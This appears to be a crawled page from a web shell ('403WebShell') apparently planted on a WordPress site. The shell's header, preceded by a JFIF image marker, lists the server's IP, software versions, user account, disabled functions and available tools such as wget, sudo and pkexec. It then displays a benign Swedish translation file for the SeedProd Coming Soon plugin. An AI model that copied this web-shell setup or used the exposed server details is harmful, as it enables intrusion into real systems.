????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.143.235.3
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.astacus.eu/wp-content/plugins/coming-soon/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.astacus.eu/wp-content/plugins/coming-soon/languages/coming-soon-sv_SE.po
msgid ""
msgstr ""
"Project-Id-Version: Coming Soon Pro by SeedProd\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2015-04-26 17:37+0100\n"
"PO-Revision-Date: 2015-04-26 17:38+0100\n"
"Last-Translator: P. E.\n"
"Language-Team: P. E.\n"
"Language: sv_SE\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Poedit-KeywordsList: __\n"
"X-Poedit-Basepath: ../\n"
"X-Generator: Poedit 1.7.6\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"
"X-Poedit-SearchPath-0: .\n"

#: coming-soon.php:22
msgid "Coming Soon Page & Maintenance Mode by SeedProd"
msgstr "Coming Soon Page & Maintenance Mode av SeedProd"

#: framework/field-types/date.php:8 framework/field-types/daterange.php:8
msgid "01-Jan"
msgstr "01-Jan"

#: framework/field-types/date.php:9 framework/field-types/daterange.php:9
msgid "02-Feb"
msgstr "02-Feb"

#: framework/field-types/date.php:10 framework/field-types/daterange.php:10
msgid "03-Mar"
msgstr "03-Mar"

#: framework/field-types/date.php:11 framework/field-types/daterange.php:11
msgid "04-Apr"
msgstr "04-Apr"

#: framework/field-types/date.php:12 framework/field-types/daterange.php:12
msgid "05-May"
msgstr "05-Maj"

#: framework/field-types/date.php:13 framework/field-types/daterange.php:13
msgid "06-Jun"
msgstr "06-Jun"

#: framework/field-types/date.php:14 framework/field-types/daterange.php:14
msgid "07-Jul"
msgstr "07-Jul"

#: framework/field-types/date.php:15 framework/field-types/daterange.php:15
msgid "08-Aug"
msgstr "08-Aug"

#: framework/field-types/date.php:16 framework/field-types/daterange.php:16
msgid "09-Sep"
msgstr "09-Sep"

#: framework/field-types/date.php:17 framework/field-types/daterange.php:17
msgid "10-Oct"
msgstr "10-Okt"

#: framework/field-types/date.php:18 framework/field-types/daterange.php:18
msgid "11-Nov"
msgstr "11-Nov"

#: framework/field-types/date.php:19 framework/field-types/daterange.php:19
msgid "12-Dec"
msgstr "12-Dec"

#: framework/field-types/date.php:29 framework/field-types/daterange.php:29
#: framework/field-types/daterange.php:42
msgid "day"
msgstr "dag"

#: framework/field-types/date.php:32 framework/field-types/daterange.php:32
#: framework/field-types/daterange.php:45
msgid "year"
msgstr "år"

#: framework/field-types/upload.php:12
msgid "Media Image Library"
msgstr "Mediabiblioteket"

#: framework/framework.php:77
msgid "Settings reset."
msgstr "Inställningar återställda."

#: framework/framework.php:116 framework/framework.php:117
#: inc/config-settings.php:22
msgid "Coming Soon"
msgstr "Coming Soon"

#: framework/framework.php:177
msgid "← Close Window"
msgstr "← Stäng Fönster"

#: framework/framework.php:177
msgid "Live Preview"
msgstr "Förhandsgranskning Live"

#: framework/framework.php:179
msgid "Upgrade to Pro for more Professional Features"
msgstr "Uppgradera till Pro för fler Profesionella Funktioner"

#: framework/validations/color.php:13
msgid "Please enter a valid color value."
msgstr "Var god ange ett giltigt färgvärde."

#: framework/validations/email.php:10 framework/validations/escurlraw.php:11
msgid "Please enter a valid email."
msgstr "Var god ange en giltig e-postadress."

#: framework/validations/number.php:11
msgid "Please enter a valid number."
msgstr "Var god ange en giltig siffra."

#: framework/validations/required.php:10
msgid "is required."
msgstr "krävs."

#: inc/class-seed-csp4.php:80
msgid "Coming Soon Mode Active"
msgstr "Kommer Snart-läge Aktivt"

#: inc/class-seed-csp4.php:82
msgid "Maintenance Mode Active"
msgstr "Underhållsläge Aktivt"

#: inc/class-seed-csp4.php:144
msgid "Please enter your settings."
msgstr "Var god ange dina inställningar."

#: inc/config-settings.php:33 inc/config-settings.php:249
msgid "Content"
msgstr "Innehåll"

#: inc/config-settings.php:44
msgid "General"
msgstr "Generellt"

#: inc/config-settings.php:50
msgid "Status"
msgstr "Status"

#: inc/config-settings.php:52
msgid "Disabled"
msgstr "Deaktiverad"

#: inc/config-settings.php:53
msgid "Enable Coming Soon Mode"
msgstr "Aktivera Kommer Snart-läge"

#: inc/config-settings.php:54
msgid "Enable Maintenance Mode"
msgstr "Aktivera Underhållsläge"

#: inc/config-settings.php:56
msgid ""
"When you are logged in you'll see your normal website. Logged out visitors "
"will see the Coming Soon or Maintenance page. Coming Soon Mode will be "
"available to search engines if your site is not private. Maintenance Mode "
"will notify search engines that the site is unavailable."
msgstr ""
"När du är inloggad så kommer du att se din vanliga webbplats. Ej inloggade "
"besökare kommer att se Kommer Snart- eller Underhållssidan. Kommer Snart-"
"läge är tillgängligt för sökmotorer om inte din webbplats är privat. "
"Underhållsläge notifierar sökmotorer att webbplatsen inte är tillgänglig."

#: inc/config-settings.php:66
msgid "Use maintenance.php"
msgstr "Använd maintenance.php"

#: inc/config-settings.php:67
msgid ""
"maintenance.php detected, would you like to use this for your maintenance "
"page?"
msgstr ""
"maintenance.php hittades, vill du använda denna som din sida för "
"underhållsläge?"

#: inc/config-settings.php:69 inc/config-settings.php:197
#: inc/config-settings.php:265
msgid "Yes"
msgstr "Ja"

#: inc/config-settings.php:79
msgid "Page Settings"
msgstr "Sidinställningar"

#: inc/config-settings.php:85
msgid "Logo"
msgstr "Logotyp"

#: inc/config-settings.php:86
msgid "Upload a logo or teaser image (or) enter the url to your image."
msgstr ""
"Ladda upp en logotyp eller en lockande bild (eller) ange URL:en till din "
"bild."

#: inc/config-settings.php:93
msgid "Headline"
msgstr "Rubrik"

#: inc/config-settings.php:94
msgid "Enter a headline for your page."
msgstr "Ange en rubrik för din sida."

#: inc/config-settings.php:100
msgid "Message"
msgstr "Meddelande"

#: inc/config-settings.php:101
msgid "Tell the visitor what to expect from your site."
msgstr "Berätta för besökaren vad som kan förväntas av din webbplats."

#: inc/config-settings.php:107
msgid "Powered By SeedProd"
msgstr "Drivs av SeedProd"

#: inc/config-settings.php:108
msgid "Nope - Got No Love"
msgstr "Nix - Ingen Kärlek"

#: inc/config-settings.php:108
msgid "Yep - I Love You Man"
msgstr "Jepp - Jag Älskar Dig Mannen"

#: inc/config-settings.php:109
msgid ""
"Can we show a <strong>cool stylish</strong> footer credit at the bottom the "
"page."
msgstr ""
"Får vi visa ett <strong>coolt och stilrent</strong> erkännande i sidfoten."

#: inc/config-settings.php:118
msgid "Header"
msgstr "Sidhuvud"

#: inc/config-settings.php:124
msgid "Favicon"
msgstr "Webbplatsikon (Favicon)"

#: inc/config-settings.php:125
msgid ""
"Favicons are displayed in a browser tab. Need Help <a href=\"http://tools."
"dynamicdrive.com/favicon/\" target=\"_blank\">creating a favicon</a>?"
msgstr ""
"Webbplatsikoner (favicons) visas i webbläsarens/tabbens titelrad. Behöver du "
"hjälp med att <a href=\"http://tools.dynamicdrive.com/favicon/\" target="
"\"_blank\">skapa en webbplatsikon</a>?"

#: inc/config-settings.php:131
msgid "SEO Title"
msgstr "SEO-titel"

#: inc/config-settings.php:137
msgid "SEO Meta Description"
msgstr "SEO-metabeskrivning"

#: inc/config-settings.php:146
msgid "Analytics Code"
msgstr "Analytics-kod"

#: inc/config-settings.php:147
msgid ""
"Paste in your Universal or Classic <a href=\"http://www.google.com/analytics/"
"\" target=\"_blank\">Google Analytics</a> code."
msgstr ""
"Klistra in din Universella eller Klassiska <a href=\"http://www.google.com/"
"analytics/\" target=\"_blank\">Google Analytics</a>-kod."

#: inc/config-settings.php:157
msgid "Design"
msgstr "Design"

#: inc/config-settings.php:170
msgid "Background"
msgstr "Bakgrund"

#: inc/config-settings.php:177
msgid "Background Color"
msgstr "Bakgrundsfärg (background-color)"

#: inc/config-settings.php:180
msgid ""
"Choose between having a solid color background or uploading an image. By "
"default images will cover the entire background."
msgstr ""
"Välj mellan att ha en solid bakgrundsfärg elleratt ladda upp en bild. Bilder "
"täcker som standard hela bakgrunden."

#: inc/config-settings.php:188
msgid "Background Image"
msgstr "Bakgrundsbild"

#: inc/config-settings.php:194
msgid "Responsive Background"
msgstr "Responsiv Bakgrund"

#: inc/config-settings.php:195
msgid ""
"Scale the background image to be as large as possible so that the background "
"area is completely covered by the background image. Some parts of the "
"background image may not be in view within the background positioning area."
msgstr ""
"Skala bakgrundsbilden så att den blir så stor som möjligt och så att hela "
"bakgrunden täcks av bilden. Vissa delar av bakgrundsbilden kanske kommer att "
"befinna sig utanför bakgrundens positioneringsområde och inte synas. "

#: inc/config-settings.php:205 inc/config-settings.php:219
#: inc/config-settings.php:237
msgid "This setting is not applied if Responsive Background is checked"
msgstr "Denna inställning används ej om Responsiv Bakgrund är ikryssad"

#: inc/config-settings.php:206
msgid "Background Repeat"
msgstr "Bakgrundsupprepning (background-repeat)"

#: inc/config-settings.php:208
msgid "No-Repeat"
msgstr "Ingen Upprepning"

#: inc/config-settings.php:209
msgid "Tile"
msgstr "Sida-vid-sida"

#: inc/config-settings.php:210
msgid "Tile Horizontally"
msgstr "Sida-vid-sida Horisontellt"

#: inc/config-settings.php:211
msgid "Tile Vertically"
msgstr "Kant-mot-kant Vertikalt"

#: inc/config-settings.php:220
msgid "Background Position"
msgstr "Bakgrundsposition"

#: inc/config-settings.php:222
msgid "Left Top"
msgstr "Toppvänsterställd"

#: inc/config-settings.php:223
msgid "Left Center"
msgstr "Mittvänsterställd"

#: inc/config-settings.php:224
msgid "Left Bottom"
msgstr "Bottenvänsterställd"

#: inc/config-settings.php:225
msgid "Right Top"
msgstr "Topphögerställd"

#: inc/config-settings.php:226
msgid "Right Center"
msgstr "Mitthögerställd"

#: inc/config-settings.php:227
msgid "Right Bottom"
msgstr "Bottenhögerställd"

#: inc/config-settings.php:228
msgid "Center Top"
msgstr "Toppcentrerad"

#: inc/config-settings.php:229
msgid "Center Center"
msgstr "Mittcentrerad"

#: inc/config-settings.php:230
msgid "Center Bottom"
msgstr "Bottencentrerad"

#: inc/config-settings.php:238
msgid "Background Attachment"
msgstr "Bakgrundsfästning"

#: inc/config-settings.php:240
msgid "Fixed"
msgstr "Fast"

#: inc/config-settings.php:241
msgid "Scroll"
msgstr "Skrollande"

#: inc/config-settings.php:256
msgid "Max Width"
msgstr "Max Bredd"

#: inc/config-settings.php:257
msgid ""
"By default the max width of the content is set to 600px. Enter a number "
"value if you need it bigger. Example: 900"
msgstr ""
"Som standard så är max bredd på innehållet satt till 600px. Ange ett "
"numeriskt värde om du behöver en större maxbredd. Exempel: 900"

#: inc/config-settings.php:262
msgid "Enable Well"
msgstr "Aktivera Behållare"

#: inc/config-settings.php:263
msgid "This will wrap your content in a box."
msgstr "Detta kommer att innesluta ditt innehåll i en box."

#: inc/config-settings.php:275
msgid "Text"
msgstr "Text"

#: inc/config-settings.php:281
msgid "Text Color"
msgstr "Textfärg"

#: inc/config-settings.php:289
msgid "Link Color"
msgstr "Länkfärg"

#: inc/config-settings.php:297
msgid "Headline Color"
msgstr "Rubrikfärg"

#: inc/config-settings.php:300
msgid "If no Headline Color is chosen then the Link Color will be used. "
msgstr "Om ingen Rubrikfärg väljs så kommer Länkfärgen att användas."

#: inc/config-settings.php:308
msgid "Text Font"
msgstr "Texttypsnitt"

#: inc/config-settings.php:329
msgid "Template"
msgstr "Mall"

#: inc/config-settings.php:337
msgid "Custom CSS"
msgstr "Anpassad CSS"

#: inc/config-settings.php:338
msgid "Need to tweaks the styles? Add your custom CSS here."
msgstr "Behöver du modifiera stilarna? Ange din anpassade CSS här."

#: inc/config-settings.php:347
msgid "Advanced"
msgstr "Avancerat"

#: inc/config-settings.php:360
msgid "Scripts"
msgstr "Skript"

#: inc/config-settings.php:366
msgid "Disable Default Excluded URLs"
msgstr "Deaktivera Standardexluderade URL:er"

#: inc/config-settings.php:367
msgid ""
"By default we exclude urls with the terms: login, admin, dashboard and "
"account to prevent lockouts. Check to disable."
msgstr ""
"Som standard så utesluter vi url:er med termerna: login, admin, dashboard "
"och account för att undvika utestängningar. Kryssa i för att avaktivera."

#: inc/config-settings.php:369
msgid "Disable"
msgstr "Deaktivera"

#: inc/config-settings.php:377
msgid "Header Scripts"
msgstr "Sidhuvudsskript"

#: inc/config-settings.php:378
msgid ""
"Enter any custom scripts. You can enter Javascript or CSS. This will be "
"rendered before the closing head tag."
msgstr ""
"Ange anpassade skript om sådana finns. Du kan ange JavaScript eller CSS. "
"Detta renderas innan stängningstaggen för body."

#: inc/config-settings.php:385
msgid "Footer Scripts"
msgstr "Sidfotsskript"

#: inc/config-settings.php:386
msgid ""
"Enter any custom scripts. This will be rendered before the closing body tag."
msgstr ""
"Ange anpassade skript om sådana finns. Dessa kommer renderas före body-"
"stängningstaggen."

#~ msgid "Coming Soon Pro"
#~ msgstr "Coming Soon Pro"

#~ msgid ""
#~ "WordPress %s and higher required. The plugin has now disabled itself. On "
#~ "a side note why are you running an old version :( Upgrade!"
#~ msgstr ""
#~ "WordPress %s eller högre krävs. Tillägget har nu deaktiverat sig själv. "
#~ "För övrigt, varför kör du en gammal version :( Uppgradera!"

#~ msgid "Support"
#~ msgstr "Support"

#~ msgid "Save"
#~ msgstr "Spara"

#~ msgid "Refresh List"
#~ msgstr "Ladda om Lista"

#~ msgid "Width"
#~ msgstr "Bredd"

#~ msgid "Color"
#~ msgstr "Färg"

#~ msgid "Radius"
#~ msgstr "Radie"

#~ msgid "hh"
#~ msgstr "tt"

#~ msgid "mm"
#~ msgstr "mm"

#~ msgid "Check License"
#~ msgstr "Kontrollera Licens"

#~ msgid "Optional Tweet Text"
#~ msgstr "Valfri Tweet-text"

#~ msgid "Image for Facebook Like. Optimal Size: 200px x 200px"
#~ msgstr "Bild för Facebook-gillaknapp. Optimal Storlek: 200px x 200px"

#~ msgid "Image for Pinterest"
#~ msgstr "Bild för Pinterest"

#~ msgid "Super Admin"
#~ msgstr "Superadmin"

#~ msgid "Are you sure you want to DELETE all subscribers?"
#~ msgstr "Är du säker på att du vill TA BORT alla prenumeranter?"

#~ msgid ""
#~ "Are you sure you want to IMPORT these settings? Current settings will be "
#~ "erased!"
#~ msgstr ""
#~ "Är du säker på att du vill IMPORTERA dessa inställningar? Nuvarande "
#~ "inställningar kommer att raderas!"

#~ msgid "No lists Found"
#~ msgstr "Inga listor Funna"

#~ msgid "Unable to load MailChimp lists, check your API Key."
#~ msgstr "Kunde inte ladda MailChimp-listor, kontrollera din API-nyckel."

#~ msgid "Unable to authenticate"
#~ msgstr "Kunde inte autentisera"

#~ msgid "Unable to load Constant Contact lists"
#~ msgstr "Kunde inte ladda Constant Contact-listor"

#~ msgid "Unable to load Campaign Monitor lists"
#~ msgstr "Kunde inte ladda Campaign Monitor-listor"

#~ msgid "Unable to load Campaign Monitor clients"
#~ msgstr "Kunde inte ladda Campaign Monitor-klienter"

#~ msgid "Unable to load Aweber lists"
#~ msgstr "Kunde inte ladda Aweber-listor"

#~ msgid "New Email Subscriber"
#~ msgstr "Ny E-postprenumerant"

#~ msgid "Do not display an Email SignUp"
#~ msgstr "Visa inte formulär för E-postprenumeration"

#~ msgid "Database"
#~ msgstr "Databas"

#~ msgid "FeedBurner"
#~ msgstr "FeedBurner"

#~ msgid "All subscribers deleted."
#~ msgstr "Alla prenumeranter borttagna."

#~ msgid "Selected subscribers deleted."
#~ msgstr "Valda prenumeranter borttagna."

#~ msgid "Subscribed on: "
#~ msgstr "Prenumeration startades:"

#~ msgid "Subscribers"
#~ msgstr "Prenumeranter"

#~ msgid "Clicks"
#~ msgstr "Klick"

#~ msgid "# People Signed Up"
#~ msgstr "# Prenumeranter"

#~ msgid "Conversion Rate"
#~ msgstr "Konverteringsgrad"

#~ msgid "Created"
#~ msgstr "Skapad"

#~ msgid "Export All"
#~ msgstr "Exportera Alla"

#~ msgid "Delete All"
#~ msgstr "Ta Bort Alla"

#~ msgid "Delete Selected"
#~ msgstr "Ta Bort Valda"

#~ msgid "Settings"
#~ msgstr "Inställningar"

#~ msgid "License Key"
#~ msgstr "Licensnyckel"

#~ msgid ""
#~ "Enter your <a href='http://www.seedprod.com/members' "
#~ "target='_blank'>License Key</a> to receive automatic plugin updates."
#~ msgstr ""
#~ "Ange din <a href='http://www.seedprod.com/members' "
#~ "target='_blank'>Licensnyckel</a> för att automatiskt få "
#~ "tilläggsuppdateringar."

#~ msgid ""
#~ "Enter a headline for your page. Replace the default headline if it exists."
#~ msgstr "Ange en rubrik på din sida. Ersätter standardrubrik om sådan finns."

#~ msgid "Description"
#~ msgstr "Beskrivning"

#~ msgid ""
#~ "Tell the visitor what to expect from your site. Also supports WordPress "
#~ "shortcodes and <a href='http://codex.wordpress.org/Embeds' "
#~ "target='_target'>video embeds</a>."
#~ msgstr ""
#~ "Tala om för besökaren vad som kan förväntas på din sida. Stöder även "
#~ "WordPress kortkoder och <a href='http://codex.wordpress.org/Embeds' "
#~ "target='_target'>inbäddad video</a>."

#~ msgid "Form Settings"
#~ msgstr "Formulärinställningar"

#~ msgid "Save subscribers to:"
#~ msgstr "Spara prenumeranter till:"

#~ msgid "Name Field"
#~ msgstr "Namnfält"

#~ msgid "Ask for the visitors name."
#~ msgstr "Fråga efter besökarens namn."

#~ msgid "Display Name Field"
#~ msgstr "Visa namnfält"

#~ msgid "Database Settings"
#~ msgstr "Databasinställningar"

#~ msgid "Enable New Subscriber Notifications"
#~ msgstr "Aktivera Notifiering för Nya Prenumeranter"

#~ msgid "Get an email notification when some subscribes."
#~ msgstr "Motta en e-postnotifiering när någon startar prenumeration."

#~ msgid "Send Notifications to this Email"
#~ msgstr "Skicka Notifieringar till denna E-post"

#~ msgid ""
#~ "Separate multiple emails with a comma. If no email is defined, "
#~ "notifications while be sent to the admin email."
#~ msgstr ""
#~ "Separera flera e-postadresser med ett komma. Om inga e-postadresser "
#~ "definierats, så skickas notifieringar till e-postadressen för admin."

#~ msgid "FeedBurner Settings"
#~ msgstr "FeedBurner-inställningar"

#~ msgid "Address"
#~ msgstr "Adress"

#~ msgid "Enter your FeedBurner address."
#~ msgstr "Ange din FeedBurner-adress."

#~ msgid "Local"
#~ msgstr "Lokal"

#~ msgid ""
#~ "The language the FeedBurner form is displayed in. The default is English. "
#~ "<a href=\"http://support.google.com/feedburner/bin/answer.py?"
#~ "hl=en&answer=81423\">Learn more</a>."
#~ msgstr ""
#~ "Det språk som FeedBurner-formuläret visas på. Engelska är standard. <a "
#~ "href=\"http://support.google.com/feedburner/bin/answer.py?"
#~ "hl=en&answer=81423\">Mer information</a>."

#~ msgid "Aweber Settings"
#~ msgstr "Aweber-inställningar"

#~ msgid ""
#~ "<a href=\"https://auth.aweber.com/1.0/oauth/authorize_app/a662998e\" "
#~ "target=\"_blank\">Authorize App</a> &larr; Click the link to get you "
#~ "Authorization Code."
#~ msgstr ""
#~ "<a href=\"https://auth.aweber.com/1.0/oauth/authorize_app/a662998e\" "
#~ "target=\"_blank\">Auktorisera App</a> &larr; Klicka på länken för att få "
#~ "din Auktoriseringskod."

#~ msgid "Authorization Code"
#~ msgstr "Auktoriseringskod"

#~ msgid ""
#~ "Paste in the Authorization Code you received when authorizing the app and "
#~ "click <strong>Save</strong>."
#~ msgstr ""
#~ "Klistra in Auktoriseringskoden som du fick när du aktoriserade Appen och "
#~ "klicka <strong>Spara</strong>."

#~ msgid "List"
#~ msgstr "Lista"

#~ msgid "Campaign Monitor Settings"
#~ msgstr "Campaign Monitor-inställningar"

#~ msgid "API Key"
#~ msgstr "API-nyckel"

#~ msgid ""
#~ "Get your <a target=\"_blank\" href=\"http://help.campaignmonitor.com/"
#~ "topic.aspx?t=206\">API key</a>"
#~ msgstr ""
#~ "Skaffa din <a target=\"_blank\" href=\"http://help.campaignmonitor.com/"
#~ "topic.aspx?t=206\">API-nyckel</a>"

#~ msgid "Client"
#~ msgstr "Klient"

#~ msgid "Constant Contact Settings"
#~ msgstr "Constant Contact-inställningar"

#~ msgid "Username"
#~ msgstr "Användarnamn"

#~ msgid "Enter your Constant Contact username."
#~ msgstr "Ange ditt Constant Contact-användarnamn."

#~ msgid "Password"
#~ msgstr "Lösenord"

#~ msgid "Enter your Constant Contact password."
#~ msgstr "Ange ditt Constant Contact-lösenord."

#~ msgid "GetResponse Settings"
#~ msgstr "GetResponse-inställningar"

#~ msgid ""
#~ "Enter your API Key. <a target=\"_blank\" href=\"https://app.getresponse."
#~ "com/my_account.html\" target=\"_blank\">Get your API key</a>"
#~ msgstr ""
#~ "Ange din API-nyckel. <a target=\"_blank\" href=\"https://app.getresponse."
#~ "com/my_account.html\" target=\"_blank\">Skaffa API-nyckel</a>"

#~ msgid "Campaign"
#~ msgstr "Campaign"

#~ msgid "Mad Mimi Settings"
#~ msgstr "Mad Mimi-inställningar"

#~ msgid "Username or Email"
#~ msgstr "Användarnamn eller E-post"

#~ msgid "Enter your username or email."
#~ msgstr "Ange ditt användarnamn eller e-post."

#~ msgid ""
#~ "Enter your API Key. <a target=\"_blank\" href=\"https://madmimi.com/user/"
#~ "edit?set_api&account_info_tabs=account_info_personal\" target=\"_blank"
#~ "\">Get your API key</a>"
#~ msgstr ""
#~ "Ange din API-nyckel. <a target=\"_blank\" href=\"https://madmimi.com/user/"
#~ "edit?set_api&account_info_tabs=account_info_personal\" target=\"_blank"
#~ "\">Skaffa din API-nyckel</a>"

#~ msgid "Infusionsoft Settings"
#~ msgstr "Infusionsoft-inställningar"

#~ msgid "App Name"
#~ msgstr "App-namn"

#~ msgid "Enter your app name."
#~ msgstr "Ange ditt App-namn"

#~ msgid ""
#~ "Enter your api key. Learn how to <a href=\"http://ug.infusionsoft.com/"
#~ "article/AA-00442/0/How-do-I-enable-the-Infusionsoft-API-and-generate-an-"
#~ "API-Key.html\" target=\"_blank\">generate your Infusionsoft api key</a>."
#~ msgstr ""
#~ "Ange din API-nyckel. Lär dig mer om hur du <a href=\"http://ug."
#~ "infusionsoft.com/article/AA-00442/0/How-do-I-enable-the-Infusionsoft-API-"
#~ "and-generate-an-API-Key.html\" target=\"_blank\">genererar din "
#~ "Infusionsoft API-nyckel</a>."

#~ msgid "HTML Web Form Settings"
#~ msgstr "HTML Web Form-inställningar"

#~ msgid "HTML"
#~ msgstr "HTML"

#~ msgid "Enter the html provided from the 3rd party service."
#~ msgstr "Ange den HTML-kod du fått av din tredjepartstjänst."

#~ msgid "iContact Settings"
#~ msgstr "iContakt-inställningar"

#~ msgid "Authorize App"
#~ msgstr "Auktorisera App"

#~ msgid ""
#~ "<a href=\"https://app.icontact.com/icp/core/externallogin?"
#~ "sAppId=puD4TZWs2kKlKZLZZgD7IAUiqPSYPIvd\" target=\"_blank\">Authorize the "
#~ "App</a> and define the app password, then enter that information below."
#~ msgstr ""
#~ "<a href=\"https://app.icontact.com/icp/core/externallogin?"
#~ "sAppId=puD4TZWs2kKlKZLZZgD7IAUiqPSYPIvd\" target=\"_blank\">Auktorisera "
#~ "Appen</a> och definiera App-lösenordet, och ange sedan den informationen "
#~ "nedan."

#~ msgid "Enter your username."
#~ msgstr "Ange ditt användarnamn."

#~ msgid "App Password"
#~ msgstr "App-lösenord"

#~ msgid "Enter the password you defined for this app."
#~ msgstr "Ange lösenordet som du definierat för denna App."

#~ msgid "Gravity Forms Settings"
#~ msgstr "Gravity Forms-inställningar"

#~ msgid "Form"
#~ msgstr "Formulär"

#~ msgid "Select a form to display on your page."
#~ msgstr "Välj ett formulär att visa på din sida."

#~ msgid "Override Gravity Form's confirmation page"
#~ msgstr "Åsidosätt Gravity Forms bekräftelsesida"

#~ msgid ""
#~ "Redirect to this plugin's Thank You page instead of the default Gravity "
#~ "Forms Confirmation page."
#~ msgstr ""
#~ "Omdirigera till detta tilläggs Tacksida istället för Gravity Forms "
#~ "standard bekräftelsesida."

#~ msgid "WYSIJA Settings"
#~ msgstr "WYSIJA/MailPoet-Inställningar"

#~ msgid "Select a list to save your contacts to."
#~ msgstr "Välj en lista att spara dina kontakter till."

#~ msgid "Sendy Settings"
#~ msgstr "Sendy-inställningar"

#~ msgid "Sendy Url"
#~ msgstr "Sendy-URL"

#~ msgid ""
#~ "The  url to where your Sendy is installed. Example: http://"
#~ "your_sendy_installation"
#~ msgstr ""
#~ "URL:en till din Sendy-installation. Exempel: http://"
#~ "your_sendy_installation"

#~ msgid "List ID"
#~ msgstr "List-ID"

#~ msgid ""
#~ "The list id you want to subscribe a user to. This encrypted & hashed id "
#~ "can be found under View all lists section named ID in Sendy"
#~ msgstr ""
#~ "ID för listan som du vill sätta en användare som prenumerant på. Detta "
#~ "krypterade och hashade ID återfinns i sektionen Visa alla listor i Sendy"

#~ msgid "MailChimp Settings"
#~ msgstr "MailChimp-inställningar"

#~ msgid ""
#~ "Enter your API Key. <a target=\"_blank\" href=\"http://admin.mailchimp."
#~ "com/account/api-key-popup\" target=\"_blank\">Get your API key</a>"
#~ msgstr ""
#~ "Ange din API-nyckel. <a target=\"_blank\" href=\"http://admin.mailchimp."
#~ "com/account/api-key-popup\" target=\"_blank\">Skaffa din API-nyckel</a>"

#~ msgid "Enable Double Opt-In"
#~ msgstr "Aktivera dubbel Opt-In"

#~ msgid ""
#~ "Learn more about <a href=\"http://kb.mailchimp.com/article/how-does-"
#~ "confirmed-optin-or-double-optin-work\">Double Opt-In</a>"
#~ msgstr ""
#~ "Mer information om <a href=\"http://kb.mailchimp.com/article/how-does-"
#~ "confirmed-optin-or-double-optin-work\">Dubbel Opt-In</a>"

#~ msgid "Send Welcome Email"
#~ msgstr "Skicka Välkomste-post"

#~ msgid ""
#~ "If your Double Opt-in is false and this is true, MailChimp will send your "
#~ "lists Welcome Email if this subscribe succeeds - this will not fire if "
#~ "MailChimp ends up updating an existing subscriber. If Double Opt-in is "
#~ "true, this has no effect. Learn more about <a href='http://blog.mailchimp."
#~ "com/sending-welcome-emails-with-mailchimp/' target='_blank'>Welcome "
#~ "Emails</a>."
#~ msgstr ""
#~ "Om Dubbel Opt-in är falsk, och detta är sant, så kommer MailChimp att "
#~ "skicka Välkomstmeddelanden om prenumerationen går igenom - detta kommer "
#~ "dock inte att ske om MailChimp istället börjar uppdatera en redan "
#~ "existerande prenumerant. Om Dubbel Opt-in är sann, så har detta ingen "
#~ "effekt. Läs mer om <a href='http://blog.mailchimp.com/sending-welcome-"
#~ "emails-with-mailchimp/' target='_blank'>Välkomstmeddelanden</a>."

#~ msgid "Group Name"
#~ msgstr "Gruppnamn"

#~ msgid ""
#~ "Optional: Enter the name of the group. Learn more about <a href=\"http://"
#~ "mailchimp.com/features/groups/\" target=\"_blank\">Groups</a>"
#~ msgstr ""
#~ "Valfritt: Ange gruppnamnet. Mer information om <a href=\"http://mailchimp."
#~ "com/features/groups/\" target=\"_blank\">Grupper</a>"

#~ msgid "Groups"
#~ msgstr "Grupper"

#~ msgid ""
#~ "Optional: Comma delimited list of interest groups to add the email to."
#~ msgstr ""
#~ "Valfritt: Kommaseparerad lista över intressegrupper att tilldela e-posten "
#~ "till."

#~ msgid "Replace Interests"
#~ msgstr "Ersätt Intressen"

#~ msgid ""
#~ "Whether MailChimp will replace the interest groups with the groups "
#~ "provided or add the provided groups to the member's interest groups"
#~ msgstr ""
#~ "Om MailChimp skall ersätta intressegrupperna med de grupper som bifogas, "
#~ "eller lägga de bifogade grupperna till medlemmens intressegrupper"

#~ msgid "After Subscribe Settings"
#~ msgstr "Efter Prenumerations-inställningar"

#~ msgid "Thank You or Incentive Message"
#~ msgstr "Tack- eller Motivationsmeddelande"

#~ msgid ""
#~ "Leave a thank you or incentive information after the user has subscribed. "
#~ "This will override the default success message."
#~ msgstr ""
#~ "Visa ett tack- eller incitamentmeddelande efter att en användare har "
#~ "påbörjat prenumeration. Detta åsidosätter standardmeddelandet."

#~ msgid "Share Buttons"
#~ msgstr "Dela-knappar"

#~ msgid ""
#~ "Select the checkboxes above to display Social Share Buttons after you "
#~ "capture an email."
#~ msgstr ""
#~ "Kryssa i kryssrutorna ovan för att visa Sociala Dela-knappar efter att du "
#~ "fångat in ett e-postmeddelande."

#~ msgid "Twitter"
#~ msgstr "Twitter"

#~ msgid "Facebook"
#~ msgstr "Facebook"

#~ msgid "Google Plus"
#~ msgstr "Google Plus"

#~ msgid "LinkedIn"
#~ msgstr "LinkedIn"

#~ msgid "PinIt"
#~ msgstr "PinIt"

#~ msgid "Tumblr"
#~ msgstr "Tumblr"

#~ msgid "Display Referrer Link"
#~ msgstr "Visa Hänvisningslänk"

#~ msgid ""
#~ "The referrer link is a special link that you can encourage your "
#~ "subscribers to share so you track who referred who."
#~ msgstr ""
#~ "Hänvisningslänken är en speciell länk som du kan uppmuntra dina "
#~ "prenumeranter att dela, så att du kan hålla koll på vem som hänvisade vem."

#~ msgid "Progress Bar Settings"
#~ msgstr "Förloppsindikatorinställningar"

#~ msgid "Enable Progress Bar"
#~ msgstr "Aktivera Förloppsindikator"

